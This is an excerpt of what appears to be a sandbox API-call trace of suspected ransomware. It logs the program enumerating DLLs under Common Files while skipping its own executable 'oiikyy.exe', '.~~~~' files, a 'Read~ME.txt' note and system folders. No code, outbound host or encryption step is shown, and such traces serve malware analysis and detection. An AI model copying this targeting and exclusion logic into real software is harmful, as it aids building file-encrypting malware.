	[0080.063] StrStrW (lpFirst="handler.reg", lpSrch=".~~~~") returned 0x0
	[0080.063] lstrcmpW (lpString1="handler.reg", lpString2="Read~ME.txt") returned -1
	[0080.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.064] GetCurrentThreadId () returned 0x618
	[0080.064] RtlWakeConditionVariable () returned 0x365f48
	[0080.064] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1
	[0080.064] lstrcmpiW (lpString1="handsafe.reg", lpString2="Windows") returned -1
	[0080.064] lstrcmpW (lpString1="handsafe.reg", lpString2="oiikyy.exe") returned -1
	[0080.064] StrStrW (lpFirst="handsafe.reg", lpSrch=".~~~~") returned 0x0
	[0080.064] lstrcmpW (lpString1="handsafe.reg", lpString2="Read~ME.txt") returned -1
	[0080.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.064] GetCurrentThreadId () returned 0x618
	[0080.064] RtlWakeConditionVariable () returned 0x365f48
	[0080.064] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0080.064] lstrcmpiW (lpString1="msadce.dll", lpString2="Windows") returned -1
	[0080.064] lstrcmpW (lpString1="msadce.dll", lpString2="oiikyy.exe") returned -1
	[0080.064] StrStrW (lpFirst="msadce.dll", lpSrch=".~~~~") returned 0x0
	[0080.064] lstrcmpW (lpString1="msadce.dll", lpString2="Read~ME.txt") returned -1
	[0080.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.064] GetCurrentThreadId () returned 0x618
	[0080.064] RtlWakeConditionVariable () returned 0x365f48
	[0080.064] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1
	[0080.064] lstrcmpiW (lpString1="msadcer.dll", lpString2="Windows") returned -1
	[0080.064] lstrcmpW (lpString1="msadcer.dll", lpString2="oiikyy.exe") returned -1
	[0080.064] StrStrW (lpFirst="msadcer.dll", lpSrch=".~~~~") returned 0x0
	[0080.065] lstrcmpW (lpString1="msadcer.dll", lpString2="Read~ME.txt") returned -1
	[0080.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.065] GetCurrentThreadId () returned 0x618
	[0080.065] RtlWakeConditionVariable () returned 0x365f48
	[0080.065] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1
	[0080.065] lstrcmpiW (lpString1="msadcf.dll", lpString2="Windows") returned -1
	[0080.065] lstrcmpW (lpString1="msadcf.dll", lpString2="oiikyy.exe") returned -1
	[0080.065] StrStrW (lpFirst="msadcf.dll", lpSrch=".~~~~") returned 0x0
	[0080.065] lstrcmpW (lpString1="msadcf.dll", lpString2="Read~ME.txt") returned -1
	[0080.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.065] GetCurrentThreadId () returned 0x618
	[0080.065] RtlWakeConditionVariable () returned 0x365f48
	[0080.065] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1
	[0080.065] lstrcmpiW (lpString1="msadcfr.dll", lpString2="Windows") returned -1
	[0080.065] lstrcmpW (lpString1="msadcfr.dll", lpString2="oiikyy.exe") returned -1
	[0080.065] StrStrW (lpFirst="msadcfr.dll", lpSrch=".~~~~") returned 0x0
	[0080.065] lstrcmpW (lpString1="msadcfr.dll", lpString2="Read~ME.txt") returned -1
	[0080.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.065] GetCurrentThreadId () returned 0x618
	[0080.065] RtlWakeConditionVariable () returned 0x365f48
	[0080.065] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1
	[0080.065] lstrcmpiW (lpString1="msadco.dll", lpString2="Windows") returned -1
	[0080.066] lstrcmpW (lpString1="msadco.dll", lpString2="oiikyy.exe") returned -1
	[0080.066] StrStrW (lpFirst="msadco.dll", lpSrch=".~~~~") returned 0x0
	[0080.066] lstrcmpW (lpString1="msadco.dll", lpString2="Read~ME.txt") returned -1
	[0080.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.066] GetCurrentThreadId () returned 0x618
	[0080.066] RtlWakeConditionVariable () returned 0x365f48
	[0080.066] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1
	[0080.066] lstrcmpiW (lpString1="msadcor.dll", lpString2="Windows") returned -1
	[0080.066] lstrcmpW (lpString1="msadcor.dll", lpString2="oiikyy.exe") returned -1
	[0080.066] StrStrW (lpFirst="msadcor.dll", lpSrch=".~~~~") returned 0x0
	[0080.066] lstrcmpW (lpString1="msadcor.dll", lpString2="Read~ME.txt") returned -1
	[0080.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.066] GetCurrentThreadId () returned 0x618
	[0080.066] RtlWakeConditionVariable () returned 0x365f48
	[0080.066] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1
	[0080.066] lstrcmpiW (lpString1="msadcs.dll", lpString2="Windows") returned -1
	[0080.066] lstrcmpW (lpString1="msadcs.dll", lpString2="oiikyy.exe") returned -1
	[0080.066] StrStrW (lpFirst="msadcs.dll", lpSrch=".~~~~") returned 0x0
	[0080.066] lstrcmpW (lpString1="msadcs.dll", lpString2="Read~ME.txt") returned -1
	[0080.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.066] GetCurrentThreadId () returned 0x618
	[0080.066] RtlWakeConditionVariable () returned 0x365f48
	[0080.067] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1
	[0080.067] lstrcmpiW (lpString1="msadds.dll", lpString2="Windows") returned -1
	[0080.067] lstrcmpW (lpString1="msadds.dll", lpString2="oiikyy.exe") returned -1
	[0080.067] StrStrW (lpFirst="msadds.dll", lpSrch=".~~~~") returned 0x0
	[0080.067] lstrcmpW (lpString1="msadds.dll", lpString2="Read~ME.txt") returned -1
	[0080.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.067] GetCurrentThreadId () returned 0x618
	[0080.067] RtlWakeConditionVariable () returned 0x365f48
	[0080.067] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1
	[0080.067] lstrcmpiW (lpString1="msaddsr.dll", lpString2="Windows") returned -1
	[0080.067] lstrcmpW (lpString1="msaddsr.dll", lpString2="oiikyy.exe") returned -1
	[0080.067] StrStrW (lpFirst="msaddsr.dll", lpSrch=".~~~~") returned 0x0
	[0080.067] lstrcmpW (lpString1="msaddsr.dll", lpString2="Read~ME.txt") returned -1
	[0080.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.067] GetCurrentThreadId () returned 0x618
	[0080.067] RtlWakeConditionVariable () returned 0x365f48
	[0080.067] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1
	[0080.067] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="Windows") returned -1
	[0080.067] lstrcmpW (lpString1="msdaprsr.dll", lpString2="oiikyy.exe") returned -1
	[0080.067] StrStrW (lpFirst="msdaprsr.dll", lpSrch=".~~~~") returned 0x0
	[0080.068] lstrcmpW (lpString1="msdaprsr.dll", lpString2="Read~ME.txt") returned -1
	[0080.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.068] GetCurrentThreadId () returned 0x618
	[0080.068] RtlWakeConditionVariable () returned 0x365f48
	[0080.068] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1
	[0080.068] lstrcmpiW (lpString1="msdaprst.dll", lpString2="Windows") returned -1
	[0080.068] lstrcmpW (lpString1="msdaprst.dll", lpString2="oiikyy.exe") returned -1
	[0080.068] StrStrW (lpFirst="msdaprst.dll", lpSrch=".~~~~") returned 0x0
	[0080.068] lstrcmpW (lpString1="msdaprst.dll", lpString2="Read~ME.txt") returned -1
	[0080.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.068] GetCurrentThreadId () returned 0x618
	[0080.068] RtlWakeConditionVariable () returned 0x365f48
	[0080.068] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1
	[0080.068] lstrcmpiW (lpString1="msdarem.dll", lpString2="Windows") returned -1
	[0080.068] lstrcmpW (lpString1="msdarem.dll", lpString2="oiikyy.exe") returned -1
	[0080.068] StrStrW (lpFirst="msdarem.dll", lpSrch=".~~~~") returned 0x0
	[0080.068] lstrcmpW (lpString1="msdarem.dll", lpString2="Read~ME.txt") returned -1
	[0080.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.068] GetCurrentThreadId () returned 0x618
	[0080.069] RtlWakeConditionVariable () returned 0x365f48
	[0080.069] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1
	[0080.069] lstrcmpiW (lpString1="msdaremr.dll", lpString2="Windows") returned -1
	[0080.069] lstrcmpW (lpString1="msdaremr.dll", lpString2="oiikyy.exe") returned -1
	[0080.069] StrStrW (lpFirst="msdaremr.dll", lpSrch=".~~~~") returned 0x0
	[0080.069] lstrcmpW (lpString1="msdaremr.dll", lpString2="Read~ME.txt") returned -1
	[0080.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.069] GetCurrentThreadId () returned 0x618
	[0080.069] RtlWakeConditionVariable () returned 0x365f48
	[0080.069] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1
	[0080.069] lstrcmpiW (lpString1="msdfmap.dll", lpString2="Windows") returned -1
	[0080.069] lstrcmpW (lpString1="msdfmap.dll", lpString2="oiikyy.exe") returned -1
	[0080.069] StrStrW (lpFirst="msdfmap.dll", lpSrch=".~~~~") returned 0x0
	[0080.069] lstrcmpW (lpString1="msdfmap.dll", lpString2="Read~ME.txt") returned -1
	[0080.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.069] GetCurrentThreadId () returned 0x618
	[0080.069] RtlWakeConditionVariable () returned 0x365f48
	[0080.069] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0
	[0080.069] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0080.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.070] GetCurrentThreadId () returned 0x618
	[0080.070] RtlWakeConditionVariable () returned 0x365f48
	[0080.072] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1
	[0080.072] lstrcmpiW (lpString1="MSMAPI", lpString2="Windows") returned -1
	[0080.072] lstrcmpW (lpString1="MSMAPI", lpString2=".") returned 1
	[0080.072] lstrcmpW (lpString1="MSMAPI", lpString2="..") returned 1
	[0080.072] lstrcmpW (lpString1="MSMAPI", lpString2="AppData") returned 1
	[0080.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI", lpSrch="AppData") returned 0x0
	[0080.072] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.072] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI", lpString2="C:\\Windows") returned -1
	[0080.072] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.072] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI", lpString2="C:\\System Volume Information") returned -1
	[0080.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0080.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0080.075] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.076] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.076] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.076] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.076] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.076] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.076] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.076] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.076] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.076] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.076] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.076] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.076] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0080.076] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0080.076] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0080.076] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0080.076] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0080.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033", lpSrch="AppData") returned 0x0
	[0080.076] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.076] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033", lpString2="C:\\Windows") returned -1
	[0080.076] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.076] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033", lpString2="C:\\System Volume Information") returned -1
	[0080.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0080.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0080.077] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.077] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.077] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.078] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.078] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.078] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.078] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.078] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.078] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.078] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.078] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.078] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.078] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1
	[0080.078] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="Windows") returned -1
	[0080.078] lstrcmpW (lpString1="MSMAPI32.DLL", lpString2="oiikyy.exe") returned -1
	[0080.078] StrStrW (lpFirst="MSMAPI32.DLL", lpSrch=".~~~~") returned 0x0
	[0080.078] lstrcmpW (lpString1="MSMAPI32.DLL", lpString2="Read~ME.txt") returned -1
	[0080.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0080.078] GetCurrentThreadId () returned 0x618
	[0080.078] RtlWakeConditionVariable () returned 0x365f48
	[0080.078] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0
	[0080.078] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0080.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0080.079] GetCurrentThreadId () returned 0x618
	[0080.079] RtlWakeConditionVariable () returned 0x365f48
	[0080.079] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0080.079] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0080.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
